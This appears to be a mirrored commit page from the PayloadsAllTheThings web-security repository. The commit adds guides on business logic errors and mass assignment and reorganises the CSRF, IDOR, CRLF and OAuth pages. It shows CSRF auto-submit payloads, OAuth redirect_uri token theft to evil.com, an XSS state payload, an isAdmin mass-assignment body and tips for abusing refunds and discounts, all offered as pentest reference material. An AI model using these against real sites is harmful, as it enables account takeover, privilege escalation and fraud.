mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-11-09 22:54:23 +00:00
Business Logic Errors + Mass Assignment
This commit is contained in:
Swissky
parent
b68ce28c4b
commit
cd19bb9409
6 changed files with 154 additions and 13 deletions
71
Business Logic Errors/README.md
Normal file
71
Business Logic Errors/README.md
Normal file
|
|
@ -0,0 +1,71 @@
|
|||
# Business Logic Errors
|
||||
|
||||
> Business logic errors, also known as business logic flaws, are a type of application vulnerability that stems from the application's business logic, which is the part of the program that deals with real-world business rules and processes. These rules could include things like pricing models, transaction limits, or the sequences of operations that need to be followed in a multi-step process.
|
||||
|
||||
|
||||
## Summary
|
||||
|
||||
* [Examples](#examples)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## Examples
|
||||
|
||||
Unlike other types of security vulnerabilities like SQL injection or cross-site scripting (XSS), business logic errors do not rely on problems in the code itself (like unfiltered user input). Instead, they take advantage of the normal, intended functionality of the application, but use it in ways that the developer did not anticipate and that have undesired consequences.
|
||||
|
||||
Common examples of Business Logic Errors.
|
||||
|
||||
* Review Feature Testing
|
||||
* Assess if you can post a product review as a verified reviewer without having purchased the item.
|
||||
* Attempt to provide a rating outside of the standard scale, for instance, a 0, 6 or negative number in a 1 to 5 scale system.
|
||||
* Test if the same user can post multiple ratings for a single product. This is useful in detecting potential race conditions.
|
||||
* Determine if the file upload field permits all extensions; developers often overlook protections on these endpoints.
|
||||
* Investigate the possibility of posting reviews impersonating other users.
|
||||
* Attempt Cross-Site Request Forgery (CSRF) on this feature, as it's frequently unprotected by tokens.
|
||||
|
||||
* Discount Code Feature Testing
|
||||
* Try to apply the same discount code multiple times to assess if it's reusable.
|
||||
* If the discount code is unique, evaluate for race conditions by applying the same code for two accounts simultaneously.
|
||||
* Test for Mass Assignment or HTTP Parameter Pollution to see if you can apply multiple discount codes when the application is designed to accept only one.
|
||||
* Test for vulnerabilities from missing input sanitization such as XSS, SQL Injection on this feature.
|
||||
* Attempt to apply discount codes to non-discounted items by manipulating the server-side request.
|
||||
|
||||
* Delivery Fee Manipulation
|
||||
* Experiment with negative values for delivery charges to see if it reduces the final amount.
|
||||
* Evaluate if free delivery can be activated by modifying parameters.
|
||||
|
||||
* Currency Arbitrage
|
||||
* Attempt to pay in one currency, for example, USD, and request a refund in another, like EUR. The difference in conversion rates could result in a profit.
|
||||
|
||||
* Premium Feature Exploitation
|
||||
* Explore the possibility of accessing premium account-only sections or endpoints without a valid subscription.
|
||||
* Purchase a premium feature, cancel it, and see if you can still use it after a refund.
|
||||
* Look for true/false values in requests/responses that validate premium access. Use tools like Burp's Match & Replace to alter these values for unauthorized premium access.
|
||||
* Review cookies or local storage for variables validating premium access.
|
||||
|
||||
* Refund Feature Exploitation
|
||||
* Purchase a product, ask for a refund, and see if the product remains accessible.
|
||||
* Look for opportunities for currency arbitrage.
|
||||
* Submit multiple cancellation requests for a subscription to check the possibility of multiple refunds.
|
||||
|
||||
* Cart/Wishlist Exploitation
|
||||
* Test the system by adding products in negative quantities, along with other products, to balance the total.
|
||||
* Try to add more of a product than is available.
|
||||
* Check if a product in your wishlist or cart can be moved to another user's cart or removed from it.
|
||||
|
||||
* Thread Comment Testing
|
||||
* Check if there's a limit to the number of comments on a thread.
|
||||
* If a user can only comment once, use race conditions to see if multiple comments can be posted.
|
||||
* If the system allows comments by verified or privileged users, try to mimic these parameters and see if you can comment as well.
|
||||
* Attempt to post comments impersonating other users.
|
||||
|
||||
* Parameter Tampering
|
||||
* Manipulate payment or other critical fields to alter their values.
|
||||
* By exploiting HTTP Parameter Pollution & Mass Assignment, add extra or unexpected fields.
|
||||
* Try to manipulate the response to bypass restrictions, such as 2FA.
|
||||
|
||||
## References
|
||||
|
||||
* [Business logic vulnerability - OWASP](https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability)
|
||||
* [Business logic vulnerabilities - PortSwigger](https://portswigger.net/web-security/logic-flaws)
|
||||
* [Examples of business logic vulnerabilities - PortSwigger](https://portswigger.net/web-security/logic-flaws/examples)
|
||||
|
|
@ -10,6 +10,7 @@
|
|||
- [CRLF - Add a cookie - XSS Bypass](#crlf---add-a-cookie---xss-bypass)
|
||||
- [CRLF - Write HTML](#crlf---write-html)
|
||||
- [CRLF - Filter Bypass](#crlf---filter-bypass)
|
||||
- [Labs](#labs)
|
||||
- [References](#references)
|
||||
|
||||
## CRLF - Add a cookie
|
||||
|
|
@ -103,13 +104,11 @@ Remainder:
|
|||
* %E5%98%BE = %3E = \u563e (>)
|
||||
* %E5%98%BC = %3C = \u563c (<)
|
||||
|
||||
|
||||
## Labs
|
||||
|
||||
* [https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection)
|
||||
|
||||
## Exploitation Tricks
|
||||
* Try to search for parameters that lead to redirects and fuzz them
|
||||
* Also test the mobile version of the website, sometimes it is different or uses a different backend
|
||||
|
||||
## References
|
||||
|
||||
|
|
|
|||
|
|
@ -5,6 +5,7 @@
|
|||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Methodology](#methodology)
|
||||
* [Payloads](#payloads)
|
||||
* [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction)
|
||||
|
|
@ -20,12 +21,15 @@
|
|||
* [With question mark payload](#with-question-mark-payload)
|
||||
* [With semicolon payload](#with-semicolon-payload)
|
||||
* [With subdomain payload](#with-subdomain-payload)
|
||||
* [Labs](#labs)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## Tools
|
||||
|
||||
* [XSRFProbe - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.](https://github.com/0xInfection/XSRFProbe)
|
||||
|
||||
|
||||
## Methodology
|
||||
|
||||
|
||||
|
|
@ -34,18 +38,21 @@
|
|||
|
||||
When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
|
||||
|
||||
|
||||
### HTML GET - Requiring User Interaction
|
||||
|
||||
```html
|
||||
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
|
||||
```
|
||||
|
||||
|
||||
### HTML GET - No User Interaction
|
||||
|
||||
```html
|
||||
<img src="http://www.example.com/api/setusername?username=CSRFd">
|
||||
```
|
||||
|
||||
|
||||
### HTML POST - Requiring User Interaction
|
||||
|
||||
```html
|
||||
|
|
@ -55,6 +62,7 @@ When you are logged in to a certain site, you typically have a session. The iden
|
|||
</form>
|
||||
```
|
||||
|
||||
|
||||
### HTML POST - AutoSubmit - No User Interaction
|
||||
|
||||
```html
|
||||
|
|
@ -68,6 +76,7 @@ When you are logged in to a certain site, you typically have a session. The iden
|
|||
</script>
|
||||
```
|
||||
|
||||
|
||||
### HTML POST - multipart/form-data with file upload - Requiring User Interaction
|
||||
|
||||
```html
|
||||
|
|
@ -100,6 +109,7 @@ xhr.send();
|
|||
</script>
|
||||
```
|
||||
|
||||
|
||||
### JSON POST - Simple Request
|
||||
|
||||
```html
|
||||
|
|
@ -115,6 +125,7 @@ xhr.send('{"role":admin}');
|
|||
</script>
|
||||
```
|
||||
|
||||
|
||||
### JSON POST - Complex Request
|
||||
|
||||
```html
|
||||
|
|
@ -160,6 +171,7 @@ Referer: https://attacker.com/csrf.html;trusted.domain.com
|
|||
Referer: https://trusted.domain.com.attacker.com/csrf.html
|
||||
```
|
||||
|
||||
|
||||
## Labs
|
||||
|
||||
* [CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses)
|
||||
|
|
|
|||
|
|
@ -1,6 +1,7 @@
|
|||
# Insecure Direct Object References
|
||||
|
||||
> Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files. - OWASP
|
||||
> Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files. - OWASP
|
||||
|
||||
|
||||
## Summary
|
||||
|
||||
|
|
@ -8,16 +9,21 @@
|
|||
* [Exploit](#exploit)
|
||||
* [IDOR Tips](#idor-tips)
|
||||
* [Examples](#examples)
|
||||
* [Labs](#labs)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## Tools
|
||||
|
||||
- [BApp Store > Authz](https://portswigger.net/bappstore/4316cc18ac5f434884b2089831c7d19e)
|
||||
- [BApp Store > AuthMatrix](https://portswigger.net/bappstore/30d8ee9f40c041b0bfec67441aad158e)
|
||||
- [BApp Store > Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f)
|
||||
|
||||
|
||||
## Exploit
|
||||
|
||||
For instance, consider a URL like `https://example.com/account?userid=123`. In this case, `123` is a direct object reference to a specific user's account. If the application doesn't properly check that the logged-in user has the right to access the account related to `userid=123`, then any user could potentially change the userid in the URL to access other users' accounts.
|
||||
|
||||
|
||||
|
||||
The value of a parameter is used directly to retrieve a database record.
|
||||
|
|
@ -44,6 +50,7 @@ The value of a parameter is used directly to access application functionality
|
|||
http://foo.bar/accessPage?menuitem=12
|
||||
```
|
||||
|
||||
|
||||
### IDOR Tips
|
||||
|
||||
* Change the HTTP request: POST → PUT
|
||||
|
|
@ -58,9 +65,11 @@ http://foo.bar/accessPage?menuitem=12
|
|||
* [HackerOne - IDOR to view User Order Information - meals](https://hackerone.com/reports/287789)
|
||||
* [HackerOne - IDOR on HackerOne Feedback Review - japz](https://hackerone.com/reports/262661)
|
||||
|
||||
|
||||
## Labs
|
||||
|
||||
* [Insecure direct object references](https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references)
|
||||
* [PortSwigger - Insecure direct object references](https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references)
|
||||
|
||||
|
||||
## References
|
||||
|
||||
|
|
|
|||
42
Mass Assignment/README.md
Normal file
42
Mass Assignment/README.md
Normal file
|
|
@ -0,0 +1,42 @@
|
|||
# Mass Assignment
|
||||
|
||||
> A mass assignment attack is a security vulnerability that occurs when a web application automatically assigns user-supplied input values to properties or variables of a program object. This can become an issue if a user is able to modify attributes they should not have access to, like a user's permissions or an admin flag.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Exploit](#exploit)
|
||||
* [Labs](#labs)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## Exploit
|
||||
|
||||
Mass assignment vulnerabilities are most common in web applications that use Object-Relational Mapping (ORM) techniques or functions to map user input to object properties, where properties can be updated all at once instead of individually. Many popular web development frameworks such as Ruby on Rails, Django, and Laravel (PHP) offer this functionality.
|
||||
|
||||
For instance, consider a web application that uses an ORM and has a user object with the attributes `username`, `email`, `password`, and `isAdmin`. In a normal scenario, a user might be able to update their own username, email, and password through a form, which the server then assigns to the user object.
|
||||
|
||||
However, an attacker may attempt to add an `isAdmin` parameter to the incoming data like so:
|
||||
|
||||
```json
|
||||
{
|
||||
"username": "attacker",
|
||||
"email": "attacker@email.com",
|
||||
"password": "unsafe_password",
|
||||
"isAdmin": true
|
||||
}
|
||||
```
|
||||
|
||||
If the web application is not checking which parameters are allowed to be updated in this way, it might set the `isAdmin` attribute based on the user-supplied input, giving the attacker admin privileges
|
||||
|
||||
|
||||
## Labs
|
||||
|
||||
* [PentesterAcademy - Mass Assignment I](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1964)
|
||||
* [PentesterAcademy - Mass Assignment II](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1922)
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Hunting for Mass Assignment - Shivam Bathla - Aug 12, 2021](https://blog.pentesteracademy.com/hunting-for-mass-assignment-56ed73095eda)
|
||||
* [Mass Assignment Cheat Sheet - OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)
|
||||
* [What is Mass Assignment? Attacks and Security Tips - Yoan MONTOYA - JUNE 15, 2023](https://www.vaadata.com/blog/what-is-mass-assignment-attacks-and-security-tips/)
|
||||
|
|
@ -2,6 +2,7 @@
|
|||
|
||||
## Summary
|
||||
|
||||
- [Labs](#labs)
|
||||
- [Stealing OAuth Token via referer](#stealing-oauth-token-via-referer)
|
||||
- [Grabbing OAuth Token via redirect_uri](#grabbing-oauth-token-via-redirect---uri)
|
||||
- [Executing XSS via redirect_uri](#executing-xss-via-redirect---uri)
|
||||
|
|
@ -10,12 +11,23 @@
|
|||
- [Cross-Site Request Forgery](#cross-site-request-forgery)
|
||||
- [References](#references)
|
||||
|
||||
|
||||
## Labs
|
||||
|
||||
* [PortSwigger - Authentication bypass via OAuth implicit flow](https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow)
|
||||
* [PortSwigger - Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
|
||||
* [PortSwigger - OAuth account hijacking via redirect_uri](https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri)
|
||||
* [PortSwigger - Stealing OAuth access tokens via a proxy page](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page)
|
||||
* [PortSwigger - Stealing OAuth access tokens via an open redirect](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect)
|
||||
|
||||
|
||||
## Stealing OAuth Token via referer
|
||||
|
||||
From [@abugzlife1](https://twitter.com/abugzlife1/status/1125663944272748544) tweet.
|
||||
|
||||
> Do you have HTML injection but can't get XSS? Are there any OAuth implementations on the site? If so, setup an img tag to your server and see if there's a way to get the victim there (redirect, etc.) after login to steal OAuth tokens via referer
|
||||
|
||||
|
||||
## Grabbing OAuth Token via redirect_uri
|
||||
|
||||
Redirect to a controlled domain to get the access token
|
||||
|
|
@ -40,36 +52,32 @@ Sometimes you need to change the scope to an invalid one to bypass a filter on r
|
|||
https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com
|
||||
```
|
||||
|
||||
|
||||
## Executing XSS via redirect_uri
|
||||
|
||||
```powershell
|
||||
https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
|
||||
## OAuth private key disclosure
|
||||
|
||||
Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.
|
||||
|
||||
|
||||
## Authorization Code Rule Violation
|
||||
|
||||
> The client MUST NOT use the authorization code more than once.
|
||||
If an authorization code is used more than once, the authorization server MUST deny the request
|
||||
and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.
|
||||
|
||||
|
||||
## Cross-Site Request Forgery
|
||||
|
||||
Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (`https://example.com/callback?code=AUTHORIZATION_CODE`). This URL can be used in CSRF attacks.
|
||||
|
||||
> The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.
|
||||
|
||||
## Labs
|
||||
|
||||
* [Authentication bypass via OAuth implicit flow](https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow)
|
||||
* [Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
|
||||
* [OAuth account hijacking via redirect_uri](https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri)
|
||||
* [Stealing OAuth access tokens via a proxy page](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page)
|
||||
* [Stealing OAuth access tokens via an open redirect](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect)
|
||||
|
||||
|
||||
## References
|
||||
|
||||
|
|
|
|||
Loading…
Reference in a new issue